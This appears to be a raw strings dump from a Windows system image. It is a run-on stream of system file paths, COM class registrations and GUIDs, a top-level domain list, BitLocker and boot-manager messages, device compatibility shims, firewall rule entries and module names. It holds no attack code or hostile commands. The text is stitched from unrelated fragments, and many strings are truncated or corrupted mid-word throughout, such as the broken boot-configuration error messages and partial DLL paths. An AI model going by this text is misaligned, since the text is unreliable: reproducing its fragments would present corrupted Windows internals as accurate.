\Device\HarddiskVolume3\Windows\SystemApps\Microsoft.UI.Xaml.CBS_8wekyb3d8bbwe\Microsoft.UI.Xaml.dll \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\resources.pri:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\StateRepository-Machine.srd-wal \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\msvcp140_app.dll gift:1,gifts:1,gives:1,giving:1,gl:1,glade:1,glass:1,gle:1,global:1,globo:1,gm:1,gmail:1,gmbh:1,gmo:1,gmx:1,gn:1,godaddy:1,gold:1,goldpoint:1,golf:1,goo:1,goodyear:1,goog:1,google:1,gop:1,got:1,gov:1,gp:1,gq:1,gr:1,grainger:1,graphics:1,gratis:1,green:1,gripe:1,grocery:1,group:1,gs:1,gt:1,gu:1,guardian:1,gucci:1,guge:1,guide:1,guitars:1,guru:1,gw:1,gy:1,hair:1,hamburg:1,hangout:1,haus:1,hbo:1,hdfc:1,hdfcbank:1,health:1,healthcare:1,help:1,helsinki:1,here:1,hermes:1,hgtv:1,hiphop:1,hisamitsu:1,hitachi:1,hiv:1,hk:1,hkt:1,hm:1,hn:1,hockey:1,holdings:1,holiday:1,homedepot:1,homegoods:1,homes:1,homesense:1,honda:1,horse:1,hospital:1,host:1,hosting:1,hot:1,hoteles:1,hotels:1,hotmail:1,house:1,how:1,hr:1,hsbc:1,ht:1,hu:1,hughes:1,hyatt:1,hyundai:1,ibm:1,icbc:1,ice:1,icu:1,id:1,ie:1,ieee:1,ifm:1,ikano:1,il:1,im:1,imamat:1,imdb:1,immo:1,immobilien:1,"in":1,inc:1,industries:1,infiniti:1,info:1,ing:1,ink:1,institute:1,insurance:1,insure:1,int:1,intel:1,international:1,intuit:1,investments:1,io:1,ipiranga:1,iq:1,ir:1,irish:1,is:1,ismaili:1,ist:1,istanbul:1,it:1,itau:1,itv:1,iveco:1,jaguar:1,java:1,jcb:1,jcp:1,je:1,jeep:1,jetzt:1,jewelry:1,jio:1,jll:1,jm:1,jmp:1,jnj:1,jo:1,jobs:1,joburg:1,jot:1,joy:1,jp:1,jpmorgan:1,jprs:1,juegos:1,juniper:1,kaufen:1,kddi:1,ke:1,kerryhotels:1,kerrylogistics:1,kerryproperties:1,kfh:1,kg:1,kh:1,ki:1,kia:1,kim:1,kinder:1,kindle:1,kitchen:1,kiwi:1,km:1,kn:1,koeln:1,komatsu:1,kosher:1,kp:1,kpmg:1,kpn:1,kr:1,krd:1,kred:1,kuokgroup:1,kw:1,ky:1,kyoto:1,kz:1,la:1,lacaixa:1,lamborghini:1,lamer:1,lancaster:1,lancia:1,land:1,landrover:1,lanxess:1,lasalle:1,lat:1,latino:1,latrobe:1 life nce:1, styl d:1, 1,lol: lundbeck:1,lupin:1,luxe: ++S+ v:1,ly:1,ma: ++S+ 3++S++ {00020424-0000-0000-C000-000000000046} {662901FC-6951-4854-9EB2-D9A2570F2B2E} IResourceCandidate {E3C22B30-8502-4B2F-9133-559674587E51} Windows_CApplicationModel_CWallet_CSystem_CIWalletItemSystemStore2 {703E7517-FA6F-43E2-9418-EFBE2A1357F0} {7E6FA97B-72A8-45F1-A00B-6569192FFF91} IImeCandidateGetCandidateID {ce2f5d02-a575-4f4c-ad73-34baf96f8512} IAsyncOperationCompletedHandler<Windows::Devices::Bluetooth::GenericAttributeProfile::GattServiceProviderResult*> {4AA53027-562B-4653-A8EF-9B92FF74ADA6} {AD4C1B00-4BF7-422F-9175-756693D9130D} IVector_1_Windows__CNetworking__CEndpointPair {6a2af23e-b6d9-4a72-938d-9bffc96be71e} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {1677ABA1-4346-442F-A74A-D8B9A713B964} IAsyncOperationCompletedHandler_1_Windows__CUI__CNotifications__CToastNotificationHistory {6db7cd52-e3b7-4ecc-bb1f-388aeef6bb50} {95E15D0A-66E6-93D9-C53C-76E6219D3341} __FIIterator_1___FIKeyValuePair_2_HSTRING_Windows__CApplicationModel__CWallet__CWalletItemCustomProperty {703E7517-FA6F-43E2-9418-EFBE2A1357F0} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {A5FA505C-DB54-403c-A744-9B3919EF096F} IUPnPSupportEndpointInfo {F5B63656-069D-4E80-B4FD-9E0DB16604D8} {FD7F2B29-24D0-4B5C-B177-592C39F9CA10} IProtectionPolicyManagerInternalStatics {03837503-098b-11d8-9414-505054503030} %SystemRoot%\System32\pla.dll both %SystemRoot%\system32\plasrv.exe PLA.ServerDataCollectorSetCollection.1 {03837500-098B-11D8-9414-505054503 050545L 030} %SystemRoo yste both ystem32\pla.dll DisablePc Software\Policies\ \Windo AppCompa l.exe \system32 767A036-0D22-48aa-BA6 0F38C :WofCompressedDat \CMNotif emicintop \Dev\Que dows\Sys 32\GroupPo PageNavi .788 :WofCompressedDat SM0:2152:30 ging_02_p0 \Device\HarddiskVolume3\ProgramData\ soft\Windows\AppRe itor ackag .59337 .7824.0_x64__cw5n1h2txyew wpnid SBCDOBJECT= multi information back -multi -reboot -continue -only -winkey -alt ='true' footer %s%s%s%s%s%s%s \\.\GLOBALROOT\Device\HarddiskVolume \EFI %02x%02x...%02x%02x %u_%u_%x_%x%s_%u_%u_%s_%s_%u %u_%u_%u_%u_%u %04d-%02d-%02dT%02d:%02d:%02d.%03dZ 0x%x <fve-error-select error-text=' <fve-help-fkeys-select help-text=' <fve-help-showhide-select showhide-text=' <fve-help-passwordid-select passwordid-text=' <fve-legacy-ui </fve-legacy-ui> fve-input-select='true' <fve-recovery-help-select recovery-help-text=' <fve-recovery-help-tpmconcat-select recovery-help-tpmconcat-text=' <fve-recovery-select recovery-text=' <fve-title-select title=' <fve-help-info-showhide-update value=' <fve-title-update value=' <fve-standard-ui </fve-standard-ui> <fve-additional-recovery-help-select additional-recovery-help-text=' <fve-recovery-help-recoveryissueslink-select recovery-help-recoveryissueslink-text=' NULL BmResumeFromHibernate: Failed to reopen the BCD store after resume loader execution (0x%08x) \Windows\System32\winresume.efi BmResumeFromHibernate: Failed to purge hiberboot option in the boot manager's BCD settings (0x%08x) BmResumeFromHibernate: Failed to purge attempt resume option in the boot manager's BCD settings (0x%08x) Windows Mobile Windows Holographic Windows Hub WindowsPhone Version SecureBootPolicy.p7b Policies\ SecureBootUnlockToken.pol SecureBootDebugPolicy.pol PlatformManifest\ PackageName SubC \EFI\Microsoft\Boot\ \EFI\Microsoft\Boot\Policies\SbcpFlightToken.p7b An error occurred (%08x) while attempting to load the boot application %s An error occurred ( ) while attempti No vaL d entrie und in the/ oot conf ation data/ ile %s from the PXE server The boot manager experienced an error (%08x). The boot selection failed becau uire vice is ible 8x). Ramdisk ice eation failed to i ufficient memory (%08x e to the %SystemRoot%\system32\Vault.dll Apartment Reserved Priority Static Db Sync Task %systemroot%\system32\sysmain.dll Both WSCDefaultProduct Class C:\Windows\System32\wscapi.dll Apartment wscAPI.WSCDefaultProduct.1 {B52A4496-7753-4F74-BE64-C2072E308122} wscAPI.WSCDefaultProduct @shell32.dll,-9091 RecoExt Class %SystemRoot%\System32\Speech_OneCore\Engines\SR\spsrx_onecore.dll Both LapsCSP {c53e07ec-25f3-4093-aa39-fc67ea22e99d} IDebugSessionDestroyEvent2 {C5621364-87CC-4731-8947-929CAE75323E} IReflectedEnrollmentStatics {A3367904-52A3-4A11-BF5B-1AB36EF51D1F} {12044CC7-38BB-487A-AD74-D39F7135304F} {ec4db96f-6872-4903-a448-6dffc454ae6d} {9970407f-eb6c-40bc-96d4-6e8b69b2017f} {9F1FA092-87AA-C78A-4073-7E873ED1E3CF} __x_ABI_CWebRuntime_CIUnsupportedUriSchemeIdentifiedEventArgs {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} IAzApplicationGroup interface {00020424-0000-0000-C000-000000000046} {11A8B8EE-BF30-409A-8EF7-3A143EF70332} 3++S VendorRevision USB\COMPAT_VID_nnnn&Class_nn&SubClass_nn&Prot_nn USB\COMPAT_VID_nnnn&Class_nn&SubClass_nn USB\COMPAT_VID_nnnn&Class_nn USB\Class_nn&SubClass_nn&Prot_nn USB\Class_nn&SubClass_nn USB\Class_nn DeviceInterfaceGuid {6AA3BDAC-3C99-4BA3-B2CA-A751DB8B808D} ExtPropDescSemaphore RevisionId A;1747B793B4CD916C; Camera: Block input sample flow on SetOutputStreamState change to avoid DMFT threading issues. Camera:42.18362.*.*;01DAE6CA6A2D8000;1;?;?;0000000000000000;2ADF95F4A189675A;E60C39ABE773262B; USB\VID_0C45&PID_6366* UsbVideo recovery counters UVCFLAGS CameraDmft:{679E3D4C-DD35-4970-88B5-78BBB8887206};1.5.*.* CameraDmft: Disable malfunctional DeviceMFT for cameras CameraDmft:{55DF2DA5-6817-486f-933B-2324858CAE30};1.0.1.* %SystemRoot%\System32\SpITDevMFT64.dll CameraDmft:{55DF2DA5-6817-486f-933B-2324858CAE30};1.0.0.* CameraDmft:{5A50829A-86DD-4D18-8685-891EEE643C24};10.13.22000.* CameraDmft:{5A50829A-86DD-4D18-8685-891EEE643C24};10.16.*.* WdiWifi:PCI\VEN_8086&* WdiWifi: Expand stack size to avoid the 0x7f_8 bugcheck %system32%\drivers\Netwtw10.sys WdiWifiExpandStackSize ATADeviceIdshim storport CRCshim autofail DeviceIdshim driverscope kmautofail KmWin8VersionLie Srbshim 4;000A;18A7;8018BF98FE8FFEBF;260408;*;FC7A7DD1773F148F;*;*;0000;00;0000;0000;00;0000000000000000;*; BthBVRADelay:07;000D;B11C;8779FF9BFE2DFEFF;360408;*;7AA752B7BD19D53F;*;*;0000;00;0000;0000;00;0000000000000000;*; BthBVRADelay:*;*;*;*;*;*;*;0120;0701;*;*;*;*;*;*;*; BthBVRADelay:*;*;*;*;*;*;*;0039;157E;*;*;*;*;*;*;*; BthBVRADelay:05;000A;24C9;8759FF9BFE8FFFFF;240408;*;7B257B71EF130722;FFFF;0000;0000;00;0000;0000;00;0000000000000000;*; BthVCTeardownDelay:03;000A;0C5C;00001818788FFE3F;300408;*;698A5DB353691EF0;*;*;0000;00;0000;0000;00;0000000000000000;*; Bluetooth: VC Teardown Delay BthVCTeardownDelay BthBVRADelay:05;000A;2031;8359BF98FE8BFFFF;340408;*;8540DF18FC89A522;*;*;0000;00;0000;0000;00;0000000000000000;*; BthDeviceHfpVr:*;*;*;*;*;*;*;0006;0A1B;*;*;*;*;*;*;* Voice Recognition overrides BthDeviceHfpVr BthDeviceHfp:*;*;*;*;*418;*;*;004C;*;*;*;*;*;*;*;* HandsFree profile overrides BthDeviceHfp BthDeviceHfp:*;*;*;*;*;*;*;0039;1582;*;*;*;*;*;*;* BthDeviceHfp:*;*;*;*;*;*;*;009E;4022;*;*;*;*;*;*;*; BthDeviceHfp:*;*;*;*;*;*;*;009E;4009;*;*;*;*;*;*;*; BthDeviceHfp:*;*;*;*;*;*;*;009E;4035;*;*;*;*;*;*;*; BthDeviceHfp:*;*;*;*;*;*;*;009E;4010;*;*;*;*;*;*;*; BthDeviceHfp:*;*;*;*;*;*;*;009E;4011;*;*;*;*;*;*;*; Camera:21.10586.6053.549;01D1385DDF4E0000;1;?;0;FB77111294C8E37E;0000000000000000;5206D9DAA34BCDF8; Camera:30.14393.9751.3540;01D2572F5814C000;1;?;0;FB77111294C8E37E;0000000000000000;8433F76EC706F97E; Camera:1.0.740.3;01D55DFCB3624000;1;?;0;0000000000000000;33F08445F62E4CE0;2E7711C3AB41CC17; Camera:1.0.1120.2;01D633B9C3BE4000;1;?;0;0000000000000000;33F08445F62E4CE0;2E7711C3AB41CC17; Camera:1.0.1120.2;01D633B9C3BE4000;1;?;0;0000000000000000;33F08445F62E4CE0;082B0A3B0B07C78E; Camera:1.0.1120.2;01D633B9C3BE4000;1;?;0;0000000000000000;33F08445F62E4CE0;5C404F06E4118344; Camera:60.19041.5.5443;01D76BB089BD0000;1;?;0;0000000000000000;2ADF95F4A189675A;5AF2BF3BEDAAB414; Camera:42.18362.*.*;01DAE6CA6A2D8000;1;?;?;0000000000000000;2ADF95F4A189675 EdpExcludedExtensions EdpExcludedPaths SP800_108_CTR_HMAC ObjectLength SHA256 HashDigestLength ChainingModeCBC ChainingMode BlockLength XTS-AES MessageBlockLength ChainingModeECB DESX KeyDataBlob part Override flag is set Override flag is not set \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\EFS\Overrides NoCryptoOffload EDP://EvaluationFlags EDP://ExemptEnterpriseIds EDP://EnterpriseIds EDP://PolicyFlags PEDP://IntentEnterpriseId Locked Unlocked Invalid value for Dpl State SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Hid Parsing Library FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName hidparse.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename hidparse.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation BS_EFIESP \kor_boot.ttf zh-CN \jpn_boot.ttf \chs_boot.ttf zh-TW zh-CHS zh-Hans zh-Hant \cht_boot.ttf zh-CHT zh-HK Force video mode to 800x600 via BCD. Force video mode to 1024x600 via BCD. \wgl4_boot.ttf Force video mode to 1024x768 via BCD. \EFI\Microsoft\Boot\Fonts Firmware returned an invalid color depth (%d) NULL exfat %ls%ls %ls\%ls \$UPCASE fastfat {%08x-%08x-%08x-%08x-%08x} EFIFS cdfs CDROM CD001 EL TORITO SPECIFICATION WofCompressedData NTFS: Attribute type not contained in file record segment (0x%08p)! NTFS: Attribute header not contained within file record segment, Header=0x%08p, FRS=0x%08p ntfs NTFS: Unaligned file attribute header, Header=0x%08p, FRS=0x%08p NTFS: Resident attribute value not contained within file record segment, Header=0x%08p, FRS=0x%08p vmbfs {E3C22B30-8502-4B2F-9133-559674587E51} IDebugCOMPlusEnvoy IMap<Microsoft::Bluetooth::Profiles::Gatt::Interface::GattAttributeHandle,Microsoft::Bluetooth::Profiles::Gatt::Interface::GattServerDescriptorInfo> {35E62C5B-07E5-40C1-AFA5-CF69E8701BB3} {A6FF50C0-56C0-71CA-5732-BED303A59628} IShadowPipe {02E6EC4C-96E4-42E8-B533-336916A0087D} Windows.Networking.UX.IWiFiUXCategory {E68d2B3E-192D-448E-827E-239082D74DC6} {95E15D0A-66E6-93D9-C53C-76E6219D3341} ITypedEventHandler_2_Windows__CDevices__CPointOfService__CBarcodeScanner_Windows__CDevices__CPointOfService__CBarcodeScannerStatusUpdatedEventArgs {E1BA88BA-7A83-421A-A05D-71F96C3FFFD0} {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} Name SqmStreamRowLength ComplexData Name SqmStreamRow SqmType SqmSessionGuid SqmID SqmStreamRowLength SqmStreamRow SqmTypeEntry SqmDWORDEntry SqmStringEntry EventData Data Name SqmType Data Name SqmSessionGuid Data Name SqmID Data Name SqmProcessHashValue Data Name SqmDWORD64DatapointValue SqmType SqmSessionGuid SqmID SqmProcessHashValue SqmDWORD64DatapointValue EventData Data Name SqmType Data Name SqmSessionGuid Data Name SqmID Data Name SqmProcessHashValue Data Name SqmStreamRowLength Data Name SqmStreamEntriesSize Data Name SqmStreamEntries Data Name SqmStreamFlags SqmType SqmSessionGuid SqmID SqmProcessHashValue SqmStreamRowLength SqmStreamEntriesSize SqmStreamEntries SqmStreamFlags Microsoft-Windows-Fat-SQM win:Stop win:Informational win:SQM C:\Windows\System32\jscript9Legacy.dll Both JScript Language Components Installer C:\Windows\System32\LanguageComponentsInstaller.dll Both IEWindows {6f5bad87-9d5e-459f-bd03-3957407051ca} C:\Windows\System32\ieframe.dll Apartment System.Security.Cryptography.RSAPKCS1SignatureDeformatter C:\Windows\System32\mscoree.dll mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.RSAPKCS1SignatureDeformatter Both System.Security.Cryptography.RSAPKCS1SignatureDeformatter System.Runtime.Serialization.OnSerializedAttribute C:\Windows\System32\mscoree.dll Both Both System.Runtime.Remoting.ServerException PeopleBarJumpViewExperienceManagerFactory %SystemRoot%\system32\twinui.pcshell.dll Both PrinterStatusHTMLViewExtension Class C:\Windows\System32\puiobj.dll Apartment {438EDB38-282C-435D-8BE3-4AB90B83CEF5} WebAccountProvider Object C:\Windows\System32\vaultcli.dll Both FILEMGMT 1.0 Object %SystemRoot%\system32\filemgmt.dll both SvcVwr 1.0 Object %SystemRoot%\system32\filemgmt.dll both MultiSIM %SystemRoot%\System32\eUICCsCSP.dll Free CLSID_CheckCompositionCycles %SystemRoot%\system32\Windows.Storage.Search.dll Both C:\Windows\System32\mscoree.dll mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.NotSupportedException Both System.NotSupportedException DirectSoundGargleDMO %SystemRoot%\System32\dsdmo.dll Both Microsoft.DirectSoundGargleDMO.1 Microsoft.DirectSoundGargleDMO CLSID_AboveLockActivationManager C:\Windows\System32\AboveLockAppHost.dll Both PSFactoryBuffer C:\Windows\System32\Windows.Internal.Graphics.Display.DisplayEnhancementManagement.dll Both System.Runtime.Remoting.ServerException C:\Windows\System32\mscoree.dll mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Runtime.Remoting.ServerException mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Runtime.CompilerServices.CallConvCdecl System.Runtime.CompilerServices.CallConvCdecl Security and Maintenance Notification Manager %SystemRoot%\System32\actioncenter.dll Free Microsoft RDP Client Control - version 9 %systemroot%\system32\mstscax.dll Apartment 131473 MsTscAx.MsTscAx.9 {8C11EFA1-92C3-11D1-BC1E-00C04FA31489} MsTscAx.MsTscAx Previous Versions Results Delegate Folder %SystemRoot%\system32\twext.dll Apartment Universal Print Management GetCloudPrintServiceResult Class {C08E4363-9771-4955-A002-09932AE4874B} CWinsatWMI Class %SystemRoot%\system32\PhotoMetadataHandler.dll Both Search Filter More Properties Command %SystemRoot%\system32\explorerframe.dll Apartment ImeKeyEventHandler Class C:\Windows\System32\IME\IMEJP\imjpapi.dll Both ImeKeyEventHandler1041.15 ImeKeyEventHandler1041 WPDSyncProvider Class %systemroot%\system32\PortableDeviceSyncProvider.dll Free C:\Windows\System32\oobe\msoobeplugins.dll Both EnterpriseDataProtectionScenario C:\Windows\System32\edpcsp.dll Free System.Runtime.CompilerServices.CallConvCdecl C:\Windows\Sys 2\mscoree.dll Cul =neutral KeyToken=b77a5c5 System.Pla mNotSupp v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkCaptivePortal/Resources/AppDisplayName}|Desc=@{Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkCaptivePortal/Resources/AppDisplayName}|PFN=Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkCaptivePortal/Resources/AppDisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|AppPkgId=S-1-15-2-3733603082-4179795269-1217541644-381468798-1681740699-3059609168-2054985149|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-3733603082-4179795269-1217541644-381468798-1681740699-3059609168-2054985149|M=Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy|Name=@{Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.SecureAssessmentBrowser/Resources/PackageDisplayName}|Desc=@{Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.SecureAssessmentBrowser/Resources/PackageDescription}|D=C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\|PFN=Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.Windows.OOBENetworkConnectionFlow_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkConnectionFlow/Resources/AppDisplayName}|Desc=@{Microsoft.Windows.OOBENetworkConnectionFlow_10.0.2 ACPI\PNP0A03\2&daba3ff&0 @System32\drivers\pci.sys,#65536;PCI bus %1, device %2, function %3;(0,23,7) {00000000-0000-0000-ffff-ffffffffffff} PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD PCI\VEN_15AD&DEV_07A0&CC_060400 PCI\VEN_15AD&DEV_07A0&CC_0604 @pci.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 pci.inf 10.0.26100.7705 10.0.26100.7705 pci.inf PCI_BRIDGE PCI_BRIDGE E:10.0.26100 5:PC _0604&DT_4 PCI\CC_060 PCI\CC {03837500-098B-11D8-9414-505054503030} PLA.BootTraceSessionCollection ServerDataCollectorSet {03837503-098b-11d8-9414-505054503030} %SystemRoot%\System32\pla.dll both %SystemRoot%\system32\plasrv.exe PLA.SystemDataCollectorSet.1 {03837500-098B-11D8-9414-505054503030} PLA.SystemDataCollectorSet SystemDataCollectorSetCollection {03837503-098b-11d8-9414-505054503030} %SystemRoot%\System32\pla.dll both %SystemRoot%\system32\plasrv.exe PLA.SystemDataCollectorSetCollection.1 {03837500-098B-11D8-9414-505054503030} PLA.SystemDataCollectorSetCollection IMJPTIP C:\Windows\System32\IME\IMEJP\imjptip.dll BdeUISrv.BDEUILauncher.1 {353D638F-C81B-4476-8323-63A7EE274205} BdeUISrv.BDEUILauncher Event Publisher {4E14FBA2-2E22-11D1-9964-00C04FBBB345} %systemroot%\system32\es.dll Both EventSystem.EventPublisher.1 EventSystem.EventPublisher InertiaProcessor Class %CommonProgramFiles%\Microsoft Shared\Ink\rtscom.dll Apartment ATSCTerrestrial Class C:\Windows\System32\psisdecd.dll Both Psisdecd.ATSCTerrestrial.1 {ABBA0019-3075-11D6-88A4-00B0D0200F88} Psisdecd.ATSCTerrestrial CDvb Class C:\Windows\System32\psisdecd.dll Both Psisdecd.CDvb.1 {1BDF02A4-23B7-4173-8107-A56C23124493} INSSProperties {00020424-0000-0000-C000-000000000046} {00020424-0000-0000-C000-000000000046} {453E9E02-8BA4-474C-BFA0-37727E44F6AE} ISBE2ReadoutConfig {16CA4E03-FE69-4705-BD41-5B7DFC0C95F3} {A6FF50C0-56C0-71CA-5732-BED303A59628} IVoiceShellHypothesis {F6EFEABD-3370-4AA0-A4FD-88BADC3B1A39} ITypedEventHandler_2_Windows__CDevices__CGeolocation__CGeolocator_Windows__CDevices__CGeolocation__CPositionChangedEventArgs {A9C3BF62-4524-4989-8AA9-DE019D2E551F} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {AAF322D7-795E-4485-A92F-3D3F39269EDE} {A6FF50C0-56C0-71CA-5732-BED303A59628} IEventSubscription3 {00020424-0000-0000-C000-000000000046} {64B8F404-A4AE-11D1-B7B6-00C04FB926AF} {4E14FB90-2E22-11D1-9964-00C04FBBB345} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {3FBF60BD-90B2-2C2F-7286-128BBCF72015} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {3E58004E-4CE5-4681-BA56-785A67F9F0DC} {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} IEnumTfCandidates {B5F8FB3B-393F-4F7C-84CB-504924C2705A} IDebugScriptDocInfo {C5621364-87CC-4731-8947-929CAE75323E} __x_Windows_CUI_CViewManagement_CIUISettingsAnimationsEnabledChangedEventArgs {144C71F2-7F10-4AB2-BB07-C38F5B9AE05E} IIterator<Windows::Devices::Bluetooth::GenericAttributeProfile::GattSubscribedClient*> {4AA53027-562B-4653-A8EF-9B92FF74ADA6} {3E58004E-4CE5-4681-BA56-785A67F9F0DC} IAsyncOperationCompletedHandler<Windows::Devices::Bluetooth::GenericAttributeProfile::GattDescriptorsResult*> {4AA53027-562B-4653-A8EF-9B92FF74ADA6} ISupportErrorInfo {DF0B3D60-548F-101B-8E65-08002B2BD119} C:\Windows\System32\srh.dll Both ResourceMapper C:\Windows\System32\ResourceMapper.dll Both PSFactoryBuffer C:\Windows\System32\TSWorkspace.dll Both MiracastReceiver C:\Windows\System32\MiracastReceiver.dll Both MathRecognizer Class %CommonProgramFiles%\microsoft shared\ink\mraut.DLL Both mraut.MathRecognizer.1 {7CE75108-B7DA-4599-A714-B542A8555357} mraut.MathRecognizer SMB CIM provider m32\ miv2.dll Both shell32. artm C:\Windows\System32\Lo ork.dll Free TTLS Interactive UI cl 098b ContainerHostActivation C:\Windows\System32\LicenseManager.dll Both MF MP3 Sink Class Factory %SystemRoot%\System32\mfsrcsnk.dll Both %SystemRoot%\System32\usercpl.dll Apartment {E7299E79-75E5-47BB-A03D-6D319FB7F886} EmbeddedLockdown %systemroot%\system32\wbem\embeddedlockdownwmi.dll Both Browser Application State C:\Windows\System32\ieframe.dll Apartment C:\Windows\System32\windowscodecs.dll Both C:\Windows\System32\Windows.UI.Immersive.dll VSSCoordinator Class {56BE716B-2F76-4dfa-8702-67AE10044F0B} VSS.VSSCoordinator.1 C:\Windows\System32\oobe\msoobeplugins.dll Both Recommendations File Folder %SystemRoot%\system32\windows.storage.dll Apartment %SystemRoot%\system32\ndfhcdiscovery.dll Both CLSID_PenWorkspaceDiscoverBroker {F5A6ACF4-FFE0-4934-AE1D-5F960EA0AAD9} PSFactoryBuffer C:\Windows\System32\SyncSettings.dll Both System.EntryPointNotFoundException C:\Windows\System32\mscoree.dll mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.EntryPointNotFoundException Both System.EntryPointNotFoundException C:\Windows\System32\twinapi.appcore.dll Both Connected Search Shell Service %SystemRoot%\system32\twinui.dll AudioMeter Class %SystemRoot%\System32\audioeng.dll Both The Internet %SystemRoot%\system32\windows.storage.dll Apartment CDL: Asychronous Pluggable Protocol Handler C:\Windows\System32\urlmon.dll Apartment NPProvider %SystemRoot%\system32\credprovs.dll Apartment WMI instrumentation: Win32_PowerManagementEvent %systemroot%\system32\wbem\cimwin32.dll Both System.Security.Policy.ApplicationDirectoryMembershipCondition C:\Windows\System32\mscoree.dll mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 Both {00020424-0000-0000-C000-000000000046} {F935DC20-1CF0-11D0-ADB9-00C04FD58A0B} IWshURLShortcut {00020424-0000-0000-C000-000000000046} {F935DC20-1CF0-11D0-ADB9-00C04FD58A0B} {95E15D0A-66E6-93D9-C53C-76E6219D3341} IIterator_1___FIKeyValuePair_2_HSTRING_Windows__CData__CJson__CIJsonValue {37903486-85EE-4733-AEFC-8C4496F19DE4} Windows.Networking.UX.IEAPValidateServerCertInputFactory B3E- 7ec-25f3 Failed to allocate queue packet, returning 0x%I64x SETUPAPI ole32 ADVAPI32 ADVAPI32 kernelbase USER32 GDI32 ucrtbase WINTRUST sechost combase ntdll kernelbase msvcp_win win32u msvcrt wow64con wow64 USER32 advapi32 win32u gdi32full GDI32 CRYPT32 ucrtbase SETUPAPI kernel32 ntdll combase msvcp_win RPCRT4 kernel32 SHELL32 WINTRUST SHLWAPI COMCTL32 msvcrt RPCRT4 shcore CRYPT32 sechost ole32 Free NPSMDesktopShellComponent %SystemRoot%\system32\twinui.pcshell.dll Both Desktop Retail Demo Tasks C:\Windows\System32\RDXTaskFactory.dll Both PDF Persistent Handler NULL {6C337B26-3E38-4F98-813B-FBA18BAB64F5} %systemroot%\system32\dsuiext.dll Apartment C:\Windows\System32\windowscodecs.dll Both Windows.Devices.Perception.ProxyStubFactory C:\Windows\System32\Windows.Devices.Perception.dll Both GIDS Smart Card Simulator Manager {1AC32B1A-E379-4CAD-B655-F978A30856EC} %SystemRoot%\System32\SmartCardSimulator.dll Apartment Notification Manager {AD4C1B00-4BF7-422F-9175-756693D9130D} {FF5265E8-6D8B-4BD4-A52D-8D99008E04C8} {4C691564-057C-430A-BC66-2120BFB048F7} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {aaa0d501-ec92-4c17-a930-90dd0d2f6c95} {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {AAF322D7-795E-4485-A92F-3D3F39269EDE} 